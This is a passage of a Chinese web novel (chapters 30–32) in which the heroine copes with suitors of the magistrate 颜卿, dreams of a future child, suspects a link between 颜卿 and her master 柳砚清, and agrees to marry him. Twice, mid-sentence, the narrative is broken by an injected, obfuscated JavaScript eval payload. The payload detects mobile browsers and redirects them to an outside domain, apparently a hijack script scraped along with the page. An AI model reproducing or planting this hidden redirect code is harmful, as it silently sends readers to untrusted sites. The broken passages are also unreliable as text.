我正要接过那张纸,手停悬在半空。 姜妍就是你啊…… 本是想出来散散心,没想到会遇上这样的麻烦,这都什么事啊。我抬头看向那姑娘,她眼中闪烁着期待的光芒。 “姑娘找错人了……”我欲要起身,被她一把擒住。 “等等!” 她一把抓住我的手腕,指尖轻轻掠过脉门,凉意透入肌肤。她目光在我脸上停留片刻,似在探寻什么。接着,她指尖悄然上移,假作整理衣袖,实则暗探我气息起伏,动作轻巧却叫我心头一紧,险些屏住了呼吸。 若不是跟着柳砚清在医鹿山浅学了三个月的医术,我还真看不出来她是在望闻问切。 怪异的人,怪异的行为。我抽回手,摆出假装什么都不知道的样子。 “姑娘,追求爱情不是这样追求的。” 姜妍却不依不饶:“夫人,您就帮我看看吧,我只是想知道,我有没有这个福分。” 我叹了口气,将那张纸还给她:“姑娘,颜卿的婚事,不是我能决定的。” 姜妍的脸色瞬间变得苍白。 “男人三妻四妾再寻常不过的事。夫人这是不愿给颜大人纳妾吗?见不得别的女人嫁进信州府?” 我无奈捏脸捏眉心。扯哪儿去了…… “姑娘,这是颜卿的婚事,他自有定夺。况且,我也不是颜夫人,你这样缠着我没有意义啊。” 姜妍突然抓住我的手,苦苦哀求:“夫人,您这般年轻貌美,定是心胸宽广之人。颜大人若纳妾,您依旧是正室,何乐不为?” 我看了她一眼,头涨痛得厉害,不想再说话。姜妍得逞似的,脸上的笑意更盛,把生辰八字强塞进我手里。 “多谢夫人!” “姑娘!姜姑娘!我真帮不了你啊……” 不留给我拒绝的机会,转身跑进了人群中隐匿不见。 我无暇再听台上的戏子唱的哪一出,手里的生辰八字莫名烫手,叫姜妍的姑娘已经离开好久。 揉成球丢掉会不会不太好?烧掉更不好了。 我单手撑着脸,那只茶盏压出姜妍的生辰八字。就放这儿了。 万一有人拿去做冥婚怎么办…… 啊啊啊啊啊啊!这都什么事啊! “怎么了?” 头顶传来温柔的声音,我抬起头,看见颜卿正俯身看着我。他刚从府上出来,官服已经换成月白色的常服,头发简单束在头顶,整个人显得清雅如玉。他的目光落在我愁眉苦脸的脸上,眼底带着几分关切。 我撇了撇嘴,可怜兮兮地望着他:“被欺负了。” 颜卿轻笑一声,在我身边坐下,修长的手指轻轻拂过我额前的碎发:“居然有人敢欺负楚女侠?我倒要听听怎么一回事。” 我将姜妍的事情说与他听,以及自己不知道那这张生辰八字怎么办而苦恼。颜卿笑着手掌覆上我的手背。 “不用担心,明天我让人还回去。走吧,回家吃饭。” 每天傍晚,颜卿都会亲自到瓦肆接我回家。一开始我主动牵他的手,他会一下僵硬住。时间久了,他也慢慢习惯,学会主动牵手手。 “我听人说,颜大人这些年一直没有娶妻的打算。好多姑娘主动送上门你都不闻不问。” 十指相扣的手在两人之间晃动,繁华的信州街道人来人往。 “这月十五是个好日子。” 我若有所感地看向他。六月十五,确实是个好日子,月圆之日,春夏之交的天气,光是听着便给人一种恰到好处的温柔。 “是有什么喜事吗?”我歪头问颜卿。 他紧了紧攥住我的手,眉眼深情地看向我。 “我娶你,好不好?” 30. 星河予梦 【入卿梦也】 眼前弥漫着混沌的黑暗,未知的恐惧逐渐蔓延而上。 是梦吗?为什么这次的梦和以往的不太一样?为什么什么都看不见? 我茫然地思考着,下一秒,婴儿的啼哭声在寂静的黑暗中骤然响起,划破了夜的宁静。 “哇——哇——” 我循着声音的来源,在黑暗中摸索前行,每一步都走得小心翼翼。 可婴儿的啼哭像在催促我走快一点,再快一点。 随着逐渐靠近,声音逐渐放大,黑暗中忽然照进一束光,打在篮子里的婴儿身上。 小小的胸膛剧烈起伏着,粉嫩的嘴唇微微颤抖,眼泪顺着红扑扑的脸颊滑落。 那哭声里带着二分委屈,一分不安,还有二分对这个世界的好奇。 我站在远处,静静地看着她。 不经意间,黑暗中走出一名女子,她背对着我,弯下腰抱起哭泣的婴儿。 她轻轻拍打着婴儿的后背,哭声渐渐弱了下来,变成了断断续续的抽噎。 小小的身子一抖一抖的,像是受了天大的委屈,终于躲进母亲安全的怀里。 我为什么会梦到这样的场景?那孩子是谁?那女子又是谁?方大仙是不是引错梦,把别人的过去调换到我的梦境里? 神仙也会犯错吗? 我歪歪头,想要绕到女子的正面看得更清楚一些,至少看看那张脸是不是我认识的。 可无论我怎么走,始终无法走近她们。 如同日晷的线,她们站在圆心,我站在外圆,无论怎么走,是能看见一张背影。 “这不是过去发生的事。” 方大仙毫无征兆地出现在我身边,看着那名女子和她怀中的孩子,眼底尽是温柔。 “不是过去?那就是以后咯?”我问。 “取个什么名字好呢。” 大仙的声音越说越轻,越说越温柔,宠溺快要溢出。 我看看他,又看看远处。 “那是您夫人和孩子?” 冷不丁,他瞪了我一眼。 “耳朵长哪儿去了?这不是过去发生的事。那个人……跟吾来。” 方大仙领着我绕到那女子的正面。 明明我如何走都无法到达的对岸,跟在他身后,没几步路便抵达。 我深呼吸,尽量让自己心静下来,不被眼前看到的画面所惊掉下巴。 “那个人……是我??” 我揉了揉双眼,不可思议地看着眼前的一幕:那个抱着婴儿的女子,分明就是我自己。 她的眉眼、她的轮廓,甚至她低头时微微蹙眉的神态,都与我如出一辙。 只是她的眼神更加温柔,带着初为人母的喜悦与疲惫。 “这……这、我……啊?我的孩子?谁的?捡的?我生的?这……” 我语无伦次地说着,感觉自己的理智在这一刻彻底崩塌。 方大仙轻轻拍了拍我的肩膀,示意我冷静。 他的目光落在那对母子身上,眼底闪过一丝复杂的情绪。 沉默许久,久到连婴儿的哭泣都转为平稳的呼吸。 “这是你的未来。” 我呆呆地看着“自己”怀中的婴儿,那小小的身子裹在柔软的襁褓里,粉嫩的小脸皱成一团,正发出细弱的啼哭声。 那声音像是小猫的呜咽,又像是清晨的露珠滴落,清脆中带着几分稚嫩。 好可爱。 “孩子……我和谁的孩子?颜卿的?还是,下一个男人的?” 方大仙没有直接回答,而是反问道:“你希望是谁的?” 我希望是谁的?好难回答的问题。 真的很难回答吗?内心的另一个声音问自己。 是啊,明明那个人的脸已经出现在脑海,两张相似的脸一起出现。 “只要别是什么山大王海盗劫匪之类的就行。” 我开着蹩脚的玩笑,掩盖自己真正的想法。 黑暗中,方大仙无奈地叹了口气。 “你真的准备好成为一名母亲了吗?” 我愣住了。 这个问题太过突然,我从未认真思考过。看着“自己”温柔地哄着怀中的婴儿,我突然感到一阵莫名的悸动。那是一种从未有过的感觉,像是心底最柔软的地方被轻轻触碰。 “我……” 我张了张嘴,欲言又止。 方大仙似乎看穿了我的心思,抬脚走进眼前未来的幻影。 “我一直认为,你是永远长不大的孩子,担负不起这样的重责任。可引出的预知梦不会出错。” 我转头看向他,他的眼神温柔得不可思议,仿佛在看着世界上最珍贵的宝物。 那是父亲看女儿的眼神,满眼的宠爱。 “大仙。”我犹豫了一下,还是问出了口,“您就是我爹吧。之前叫您爹的时候,您都没有反驳,接受得很自然。” 方大仙的表情突然变得有些古怪,他轻咳一声,避开了我的目光。“这个嘛……还是等你恢复记忆,自己去发现吧。” 我笑了笑,还想再问些什么,眼前的画面却突然开始模糊。 梦要醒了。我又会忘记眼前的一切。 “这场梦,也会被忘记吗?能不能让我记住她?或者告诉我,孩子的父亲是谁?” “吾不能告诉你。” 方大仙的声音渐渐远去。 “这次,顺从你的心意去抉择吧。” “我不明白您的意思。” “凡人的寿命短暂,莫要负了真心……” 【烟波醒渡】 信州府的衙门前,几株高大的槐树正开满了白色的花朵,花香随着微风飘散。树下的石凳上,偶尔有行人驻足歇息,享受着清晨的宁静。衙门的屋檐下,几只燕子正在筑巢。 “我可听说燕子只在富贵人家檐下筑巢。看来以后信州府会繁华富裕啊。” 绝对没在自言自语,我是在跟头上的神器说话呢。 尽管它不会搭理我。 我站在府门外懒懒伸了个腰,等着一抹墨绿色身影从街角处出现。 “你是谁?怎么站在信州府门口?” 一个清脆的声音响起。 伸懒腰的手还悬停在半空,我看向声音源头,台阶之下,三位衣着鲜艳的少女叉腰而立,一人手里攥着一封信,默契地摆出非常不友好的表情。为首的少女穿着一身淡粉色的襦裙,眉眼间尽是傲气,上下打量着我。 “你们又是谁?来报案的?” “我们是来给颜大人送情书的。”粉衣少女扬起下巴,“你——难道也是?” 她的目光在我身上扫过,不屑冷哼,仿佛在说:就她也配。我无所谓地耸了耸肩,往旁边挪了挪,给她们让出一条路。 “我不是来告白的。你们请。” 粉衣少女轻哼一声,拾阶而上。走到登闻鼓旁,其中一位姑娘突然捞起鼓槌,准备击鼓。我眼疾手快,立刻伸手拦住。 “诶诶诶!这是伸冤用的,可不能乱敲!” “不敲颜大人怎么会出来。”那少女撇了撇嘴,些许不耐烦,“你起开。” 我不依不挠挡在鼓前。 “不行不行!你们这是妨碍公务!况且胡乱击鼓是会被杀头的!” “颜大人才不会杀我们呢。”粉衣少女不以为然,“他可是信州府最温柔的官,怎么会因为这点小事就杀头?你好烦啊,妨碍我们做事。假装什么都不晓得,一边呆着去。” 现在的小姑娘脾气都这么古怪吗。目中无人,还无视法律。 我无奈地叹了口气,哪儿能看着她们误入歧途。 正想再劝,忽然听见不远处传来一阵沉稳的脚步声。 转头望去,颜卿正好回府。 他的目光落在我身上,满是怜爱温柔。转向那几位少女,秒变威严清冷。 “几位姑娘,是有要事禀告?” 粉衣少女的脸瞬间红了,大改形象,小碎步跑到颜卿跟前,连忙将手中的情书递上,声音也变得矫揉造作起来。 “颜大人,这是小女子的生辰八字,请您收下。” 颜卿轻蹙眉头,目光不看面前的姑娘反而落在我身上。 我假装不知道他在看我东张西望起来。 视线重回眼前人时,颜卿背过手语气严肃。 “无事胡乱击鼓是重罪,还望三位姑娘以后不要再犯。本府谢过姑娘们的好意,只是……” 他目光转向我,三位姑娘也随着他的视线一同看向我。 “这位,是我夫人。” 三位少女愣在原地,随即目光在我和颜卿之间来回扫视。我也愣在原地,目光在颜卿和三位姑娘之间来回扫视。 不会又树敌了吧…… 好在三位姑娘都是懂分寸的人,面面相觑后准备开溜。 “小女子不知颜大人已有妻室……是我们失礼了。” 匆匆行礼后,三人落荒而逃。 我走下台阶站在颜卿身旁,看着她们远去的背影,忍不住笑出声。 “颜大人果然魅力非凡,信州府大部分姑娘都想把生辰八字当情书送给你吧?” 颜卿转头看我,无奈浅笑。 “还好有你在。以后可以名正言顺地拒绝了。” 我笑着摇头。 “合着我成你桃花运的挡箭牌喽?” 颜卿握住我的手,轻轻捏了捏我的指尖。 “有你一朵桃花足够了。” 我脸一红,低头避开他的目光。 “油嘴滑舌。这都跟谁学的……” 颜卿轻笑一声,牵起我往府里走。 “你啊。” “我没教过,我可不会撩人,脑子笨着呢。” 午后,阳光变得炽烈起来。街道上行人稀少,只有几只懒散的猫儿躲在屋檐下的阴影里打盹。后院的凉亭里,耀眼的光透过藤蔓的缝隙洒下来。石桌上摆着一副棋盘,黑白棋子错落有致。我执白子,李叔执黑子,桂花则在一旁为我们倒茶观战。 “啪——” 清脆的棋子落盘声响起,我又输了。 这已经是今天输给李叔的第三局,三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056743|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连败。我不服气地收起棋盘上白色的棋子。 “再来。” 李叔笑着收回黑子,动作表情从容不迫。 “夫人是初学者,不必急于一时。更何况,下棋讲究心静。只有心沉下来,才能看清棋局的走向,判定该走哪一步。” 我浅浅笑着,无所畏惧。 “放心,多输几局,我的心自然就凉了。” 桂花在一旁轻笑出声,将一杯热茶递到我手边:“夫人,喝口茶,歇会儿再下吧。” 我道谢接过茶盏,轻轻抿了一口,茶香在口中弥漫,回味甘甜。我擦着嘴角,抬头看向李叔:“再来再来,这次我一定赢。” 李叔笑着点头,重新摆好棋盘:“夫人请。” 我执起白子,目光在棋盘上游移,试图找到破局的关键。然而,李叔的黑子却总是能在我落子后迅速占据优势,仿佛早已看穿了我的每一步。 又是一声清脆的落子声,我的白子再次被围困。 不会吧,这次输得也太快了! 我叹了口气,放下手中的棋子:“又输了。” “夫人不必气馁。下棋如人生,需得步步为营,方能立于不败之地。” “可我怎么觉得,你每一步都算准了我的心思?” 李叔捋了捋胡须,笑道:“夫人虽有下棋的天赋,但败在心浮气躁,自然容易被看穿。若是心静如水,沉下心来,老夫也未必能占得上风。” 我若有所思地点点头,低头看着棋盘,心中渐渐平静下来。 “李叔,”我手中捏着一枚白子,“颜大人喜欢下棋吗?” “大人精通琴棋书画,闲暇时,就爱这一手。” 我放下手中的棋子,抬头看向远处的光影,泛起一阵恍惚。 “以前……”我低声呢喃,仿佛陷入混沌的回忆,“我是不是和他,也在这里下过棋?” 凉亭里一时陷入了沉默。 李叔和桂花相视一眼,脸上露出为难的神色。桂花轻轻放下茶壶,低声说道:“大人不许我们说,担心夫人……” 我收回目光,笑着看向他们:“不必担心我,我早习惯了。相比一无所知,我更好奇以前的我和颜卿是怎么相处的。给我讲讲呗?” 李叔叹了口气,目光落在棋盘上,落下指尖的棋子。 “夫人和大人以前,确实常在这座凉亭下棋对诗。大人棋艺精湛,夫人却总能出其不意,赢上一两局。有时候忘了用膳,夫人便拉着大人去街上的酒楼吃,半夜喝得伶仃大醉,大人只好把夫人扛回来。” 我听着李叔的话,脑海中仿佛我与颜卿对弈的画面。 颜卿坐在我对面,手中捏着黑子,目光温柔而专注。 我则执白子,眉头微皱,思索着下一步的走法。 凉亭外,是春风,是夏雨,是秋叶,是冬雪。 酒楼笙歌,我拿着酒盏举杯邀月,他则默默地饮酒,眼里不是天上的月,而是眼前的人。 李叔继续说道:“那时候,大人和夫人也爱对诗。大人出上句,夫人接下句,两人你来我往,常常引得我们这些府中下人驻足聆听。” 我低头看着棋盘,那些记忆模糊,却带着某种熟悉的气息。 “那……我们下棋时,颜卿会让我吗?” 桂花笑了笑,“大人倒是想让,可夫人不肯,还责骂大人耍赖,非要凭自己的本事赢他。” 我忍不住笑出声,“看来,我以前还挺倔强的。” “再见面时我说夫人真的变了……”李叔垂下眼眸,“若不是大人说是您回来了,我还以为这世上真有如此相像的两个人。” 霎时,桂花收起嘴角的笑意,轻叹了口气。 “夫人不在的这几年,大人棋也不下了,诗也不作了,整日忙于公务。说是让信州百姓过上好日子,实际上我们都明白,大人是不想自己重赴母亲的路,暂时把您忘了。” 我没再说话,抬头看了眼凉亭外的天空。 “颜卿的母亲……发生了什么?” “老爷因病去世后,老夫人伤心欲绝,抑郁而终。” 分明说起了伤心事,不知为何,我竟产生了奇怪的问题—— “砚清的父亲,不是医仙吗?” 脱口而出的话连我自己听了都愣了半晌,更别说另外两位听客。 桂花纳闷道:“夫人说的是另外的人吗?” “竟连我也险些听岔了。”李叔笑道,“颜卿、砚清,此二名颇有异曲同工之妙啊。若再添几分相貌相似,那可真是难得的缘分了。” “李叔,可否给我细细讲讲这两个名字的同工之妙?” “夫人请看。” 他用指尖蘸取茶水在桌面写下两个名字。 “颜与砚,二者皆与雅物相关,颜重色,砚重器。卿有官职“卿相”之贵,温润庄重。清寓意高洁澄明。二字皆与文人修行者情致风骨相关。若要说差异,“颜卿”更显人为风采,“砚清”更重内在修养,一外一内,表象与内在,相辅相成。” 不经意的谈话,意料之外的走向,我陷入了良久的沉思。 31. 晓妆初过 后院摇椅上,我晃荡着两条腿坐在摇椅上沉思李叔的话。 世上真的存在近乎一模一样的两个人吗?不论长相,名字甚至巧合到异曲同工之妙? 这可能吗? 阅历浅薄,能忆起的事少之又少,我根本从无分析。 忽地,狂风骤起,我下意识抬手挡住眼睛,再睁眼,脚边得面多了片青竹叶。 青竹下压着一张字条。 我要捡起,环顾四周。 一眼望不尽的白,好似天地之间,没有尽头。 字条上只写了颜卿二字,而且与我在他书案卷宗上见过的字迹相同。 应是他留下的。 “颜卿?你在吗?颜——” 我顿在原地,呼唤声戛然而止。 虚白尽头之处的人穿着绀青色的衣袍,墨发披散随不存在的风轻拂。 我低头看了眼手中的竹叶和字条,皱起了眉。 “师——砚清?这字,是砚清留下的吗?” 他回头,定定地看向我,眸光下移,落在字条上,然后轻轻点头。 “为何你会模仿颜卿的字迹?为何你留的字条写了颜卿的名字?为何——” 柳砚清站在那儿,一言不发。神色不变,诡异的风也适时停下。 白色的尽头,一点黑色如墨晕染。逐渐扩散,似要吞噬柳砚清。 眨眼。 吞噬干净。 但柳砚清没有消失,我也还站在原地。 拥有神仙术法的世界,真的很难辩清梦境还是现实。 柳砚清周围是无尽的黑暗,我站在另一端,不必回头,一定也是漆黑一片。 “这里到底是哪儿?我已经抛出那么多问题,师尊你倒是回答一个啊。” “南风。” “南风?” “我有问题问你。” “……师尊请问。” “砚清与颜卿,你选谁?” “啊?” 这是什么问题? 柳砚清含着笑抬脚走向我。 “你觉得,世上存在近乎一模一样的两个人吗?” “应该……存在吧。” 我有些摸不准柳砚清问出这话的初衷,只能顺从内心回答。 他低笑。 然后……堪称惊悚的一幕发生了。 自我重生以来,柳砚清第一次,一句话,说了那么多字…… “前世有羽带傍身,你也无法看清他的内心,此世变为凡人,这脑子是愈发不中用了。颜卿并非真正的知县,梦境以外的人同样在这里。闻笙确实即将知命之年,强迫你学医,是我别有用心。还有婚礼那日——” “等等!” 我打断愈发不正常的柳砚清。 “你……到底在说什么啊?而且,你今日怎么了?为何一股脑……告诉我这么多?” 他的话确实令我大为震惊,不过最令我诧异的,还是反常的人。 话说方才他是不是骂我不中用来着?? 柳砚清沉下眸子轻笑着上前一步,与我更近一些。 “因为良心不安,日日无法入眠。” “啊?” 我更不解了。 错愕中,柳砚清俯下身缓缓地手掌落在我的后背,将我拉进怀中。 “一日不见,如三秋兮……你明知我舍不得你,定会时时陪着你,为何这脑子就是这么笨呢?” “我……你……到底是在说情话还是骂我笨呐……” “都有。” 他埋下头,在我额头处落下一吻。 “清醒梦的感觉,如何?” “啊?可我没睡觉啊?” “是清醒的,却如梦境,意为清醒梦。这里是我撑开的结界,外人只能看到你坐在摇椅上睡着了。” “……” 所以,他今日为何如此? “所以我今日为何那么多话?” 他道出我的心声,一字不差。 我点头。 柳砚清抬手,冰凉的指尖将我的鬓发别至耳后,而后点上我的额头。 当我意识到什么时,为时已晚。 “你忘了吗?我也会抹掉记忆啊。比起做贼心虚夜不能寐,我更不愿看到你现在露出的表情。” 我现在……是什么表情? 【烟波醒渡】 我茫然地站在原地,摇椅还在因我的起身晃动,四周安静依旧。 纳着闷,我挠了挠后颈,迟疑着坐回摇椅。 我方才起身干嘛?? 夜幕即将降临,街边的灯笼一盏盏亮起,昏黄的光晕洒在青石板路上。 千灯节将至,城中已有了节日的气氛,酒楼里传来阵阵丝竹声,街巷里满是热闹。 堂内,颜卿正伏案疾书,眉头微皱,手中的笔在纸上飞快地游走。 窗外的夜色正缓缓倒退,在颜卿的脸庞上留下交错无数的光影。 我走到他身边,他竟毫无察觉。二话不说,直接揪着他的后领将他从座位上拎起来。 “颜大人呐,再忙也要吃、饭、啊!” 颜卿被我突如其来的动作吓了一跳,手中的毛笔差点掉在地上。 不过很快扬起一如既往柔成水的笑。 “抱歉,本想着只差一点很快处理完,一入神,又忘了事。久等了吗?” 我撇了撇嘴,佯装不满。 “不久不久。不过菜凉透,颜大人吃不到热乎劲儿了。” 颜卿轻轻握住我的手,似是安慰道:“马上入夏,菜凉一点也无妨。” 我故作生气冲他蹙了蹙眉头,拉着他快步走回凉亭。桂花又将凉掉的饭菜重新热了一遍,点燃了后院的灯。 月牙儿悬在夜空,光洒在后院的秋千上,映出一片银色的光辉。吃过晚膳,我们并肩坐在秋千上,荡起又落下。 “那日在街头问你的话,考虑得如何?” 我假装思考,抬头看向天空中的月,嘴角偷摸勾起笑。 “六月十五,月圆之日啊……” 颜卿微微一愣,“抱歉。明明刚认识不久,我竟敢……” 我转过头,看着他眸中的光点,心中泛起一阵欣喜。 “是啊。颜大人拒绝别家姑娘的时候,可说的‘我与姑娘不过一面之缘。相守一生之人还是知根知底得好’。” 我模仿颜卿的语气,学着李叔跟我讲的,他过去拒绝别家姑娘的话。 颜卿轻笑,盯着月影下肩膀相连的两个人思绪飘远。 “是啊,明明只是初见……”我晃荡着两条腿,仰望头顶的月,“颜卿你相信一见如故吗?” 颜卿回神转头看我。 “我见你一见如故,一见倾心。我猜,是从前的缘故。我的直觉告诉自己,‘这次,顺从我的心意去抉择吧。莫要负了真心。’” 嗯,一定是从前的缘故,绝不是因为你和柳砚清长得相似。 清亮的月光顺着颜卿的轮廓描出好看的光晕,让我忍不住偏过头看他。我鼓起勇气站起身,走到颜卿面前,他也抬头看我。 “颜卿。” 我抓起他的手,握在手心。 “六月十五,是个好日子。你娶我,好不好?” 颜卿低下头,再抬起时脸颊通红,眼角泛着泪光,眸中满是深情。我脸一红,别开脸避过他的目光。 他起身靠近,伸手轻轻捧起我的脸,指尖不经意摩挲我的耳垂,目光温柔得几乎要将我融化。 “好。” 他的手心凉凉的,但似乎难以驱散我那从深处冒出头的小心思。月光洒在我们身上,映出两道交融的身影。 这一刻,仿佛整个世界都安静了下来,只剩下秋千的轻响,微风拂过的声音,双唇吮吸的旖旎。 像一片羽毛落上我的唇,属于他的气息裹挟着我。我伸出双臂揽上他的脖颈,舌尖轻轻撬开他的齿列,打他个措手不及。他经不住刺激,下意识想躲,我收紧双臂,不许他逃。 应是默许了我的任性,他索性将手放在我的腰间,扶着我的腰贴近他。 喘息间,我撞进他深色的眸子里。 “颜大人不是第一次吧?” 他修红着脸回答:“第二次。” “那第一次,一定也是我。”我稍稍抬眉打趣,“某种意义上的第二次,要不要也一并交给我?” 理智在瞬间崩塌。他反客为主,扣住我的后脑,加深了这个吻。 月影浮动,墙内墙外隐约能听见人声,好像在朝我们靠近。可谁还顾得上这些?我被他吻得浑身发软,整个人都靠在他怀里。我的手不安分地在他胸前游走,指尖轻轻划过他的喉结。 “大人想在后院……?” 他无奈将下颌抵上我的头顶,“好歹是个知县,我还得靠着朝廷的俸禄生活。” 我收敛笑容,揽紧他的腰。 “我好想现在、立刻、马上……感受颜知县的体温。” 颜卿单手按在我搂在他腰间的手,宽大温暖的手掌覆在我的手背。 “是入夜有些凉了吗?” “是呢。”我勾了勾他的手指,“所以,颜大人还不我把拐到个温暖的地方?” 五月末的信州,正值春末夏初。 清晨的阳光透过云层洒下,空气中弥漫着花香和泥土的清新。 早市的小贩们摆开了摊子,新鲜的蔬果堆得满满当当。 街角的茶摊上,几位书生正悠闲地品着早茶谈论新作的诗词。 身上淡蓝色的裙摆随风浮动,心情也随之飘飘然。 啊……这就是岁月静好吗。 难得不被击鼓鸣冤的声音吵醒,自然醒后,我跑到大街上,四处寻找在街上巡访的颜卿。 然后静静地跟在他身后,等他工作告一段落后,要他陪我在街市上吃一顿丰盛的早膳。 “府上的早膳不合胃口吗?” “绝对不是!张厨的手艺非常好!偶尔也要换换口味嘛。来信州半个月,也该体验一下信州远近闻名的油条包麻糍啦。” 临街简易的摊铺,老板随意支了两张桌子,我和颜卿相对而坐,看着老板一步步制作每美味。 油光蹭亮的面条拉扯开缓缓放入油锅,等油条定型后捞出。老板娘见势,立马拿出热乎乎的麻糍平铺在油条中间,撒上白糖和芝麻,完成。 我馋这口馋太久了。这家铺子是桂花推荐的,说味道是她吃过最好吃的,不甜不腻。 一口咬下,我差点又原状送出口。 好烫! 颜卿笑着摇头,将他吹冷的豆浆推到我面前。 “不着急。喜欢吃,我们下次再来。” 不愧是桂花的推荐,非常合我胃口。糯叽叽的麻糍软糯绵密,清香微甜。 尤其是油条!我就喜欢吃脆脆的东西。 相比我直接用手拿着吃,颜卿知书达理多了。 只见他修长的手指捏着筷子,夹起一块,一口咬下细细品尝,咽下后再端起豆浆,动作优雅从容。 “想好选择哪一家了吗?” “嗯,就选西街那家。他们家裁缝一看就靠谱,不像南街那家,都理解不到我在说什么。” 颜卿微微一笑,伸手将我额前一缕散落的发丝别到耳后,又是不经意摩挲我的耳垂。 “好,我陪你。” 我愣了一下,立马摇头:“不用不用,你下午不是要去地柱村吗?忙你的吧,桂花陪我就行。” 颜卿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056744|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼角浮上笑意:“我也想看看自己的婚服。” 我忍不住笑了,语气软下来。 “那——我陪你去村里,办完事情我们一起去?” “好。” 出了城门,乡野入眼。稻苗已经长到了膝盖高,溪水潺潺,泛着细碎波光,映出天空湛蓝。 路边,我随手摘了把小花,做成了小小的花环,戴在了头上。 欣赏风景的功夫,颜卿已将事情置办妥当,在村民的拥护下牵着我上马车。 “颜大人的办事效率竟如此之高!” 我放下车帘,阻隔车外的视线转头看向颜卿。 “是上次公堂上说他家娘子喝了村里的井水肚子疼那件事吗?” 颜卿点点头,将公文放在一旁。 “嗯。是同村一男子故意往井里下了种让饮水人腹泻的药。犯人已在关押在监狱,今天来是看看之前汪晟送的解药是否有效。” 汪晟就是信州府的师爷,深居简出,除了工作时间几乎是足不出户。听人说爱宅家写话本,不用本名做笔名,城中好几出有名的戏文都出自他手。到信州好些日子,我甚至没和他说上一句话。 我弯起眉眼,打趣颜卿道:“我现在明白为什么这么多姑娘争着抢着要嫁给你了。” “为何?” 我掰着手指数给他听。 “生得好看,办事效率高,为人亲和。”我顿了顿,扬起几分得意,“只可惜,她们都没机会啦。迷人帅气的颜知县马上要和天生丽质的楚姑娘成亲啦。” 颜卿轻笑出声,放下公文握住我的手,我也笑着靠在他肩上。 又是马车,若是重现光州时与砚清在马车上的事,会不会发现细微的端倪? 时至今日,我依旧怀疑颜卿和砚清之间某种关联。 我抬头看向颜卿,发现他正注视着我,眼中满是深情。四目相对就想笑,仿佛马车的喧嚣与我们无关。 “颜卿。” “嗯?” “我突然……想在这里……” 肉眼可见,他的脸上快速染上红晕,眼神迷离,四处张望。 我抿唇偷笑,不自知的手缓缓伸向他的腰间,但被他半路拦截。 “我穿着官服呢,不可胡闹。” “然后呢?我不也穿着衣服。” 他轻咳低声温柔地责备:“官服在,职责在。” “那你现在脱了。” 说罢,我一把抓住他腰间的革带。 一瞬间,他突然捏住我下巴,迫使我抬起头,然后劈头吻住我的双唇。 漫长的吻让我险些无法呼吸。 等他离开时,眼前忽暗忽明,我扶着额靠上他的肩头。 “你耍赖……” “没办法,对你,只能用这一招。” “哼,颜大人学坏了。” “多亏楚姑娘教得好。” 我吸吸鼻子,从他的怀里退出来。 “哼,这口黑锅我可不背。” 颜卿失笑,不由分说地把我抬起来的头再次按进怀里。 “往后日子还长,随你弄一辈子。” 西街的裁缝铺里摆满了各色布料,琳琅满目色彩斑斓。 颜卿和我并肩站在柜台前,裁缝铺的老板正热情地为我们介绍着最新的婚服布料。 “夫人您看,这匹云锦是新进的货,质地柔软,色泽鲜艳,穿在您身上再合适不过。” 老板指着一匹绿色绣着祥云纹样的锦缎介绍道。 我伸手摸了摸那匹锦缎,确实不错。价格应该也不错…… “颜大人觉得如何?”我转头看向颜卿。 “挺好,你喜欢便定下吧。” 我点点头,对老板说:“那便这匹吧。” 老板笑着回应“好嘞”,随即拿出钞尺,开始为我量尺寸。 “夫人和大人真是天造地设的一对,这婚服做出来,一定羡煞旁人。” 我低头看着老板手中的尺子,泛起一丝担忧:“老板,只有十天时间,来得及吗?” “夫人放心,我们铺子里的师傅绝对是信州手艺最好的,保质保量完成。” 说完他又轻叹了口气,多了几分感慨。 “这可是整个信州府等了八年的婚礼呢,到时候一定热热闹闹的!” 等了八年的婚礼…… 八年前我为什么离开,为什么会答应嫁给颜卿却又不告而别…… 颜卿什么都不告诉我,却打点好一切…… 信州府的所有仆人至少是待了八年以上,就连年纪最小的桂花也待了九年…… 所有人当我是初来乍到,藏好一切秘密。 我垂眸,默默等老板量完尺寸。 直觉告诉我,颜卿肯定有事瞒着我,但或许现在并不是追问的时候。 为何,内心忽然不安……这场婚礼……真的是正确抉择吗…… 颜卿早已量完尺寸在门外等我,见我进去还好好的,出来时脸上多了层阴霾,不禁担忧起来。 “可有什么不满意之处?” 我摇头说道:“不是的。只是突然感慨,你竟然为了区区一个我,足足等了八年……” 颜卿以为我会说什么大事,一听是此事,扬了扬唇角牵起我的手。 “哪儿是区区一个你,是,正因为是你。我答应过你的,第一次是你,以后的每一次都是你。” “……” 我轻轻收拢五指蹭了蹭他的手,努力控制住自己的声线,在他听不到的范围内。 “抱歉……” 抱歉,我突然不知道,该不该嫁给你…… 八年前的我会逃走,如今的我…… 或许会做出同样的决定。 32. 雾失楼台 【逆梦归尘】 “堂下何人?” “小民李四,三口村人,今早在自家牛棚里干活,竟发现里面躺了个陌生女子。小民正要上前询问,没想到这姑娘二话不说就揍了小民一拳!” 刻意拉长的语调虚伪而做作,跪地的李四时不时偷瞄堂上的动静,显然在盘算如何将罪名推得一干二净。 公堂上清冷如霜的知县转而看向我,问道:“被告何人?为何躺在别人家牛棚里?” “他胡言乱语,颠倒黑白。” 我立于堂中,平静地望向堂上的知县。 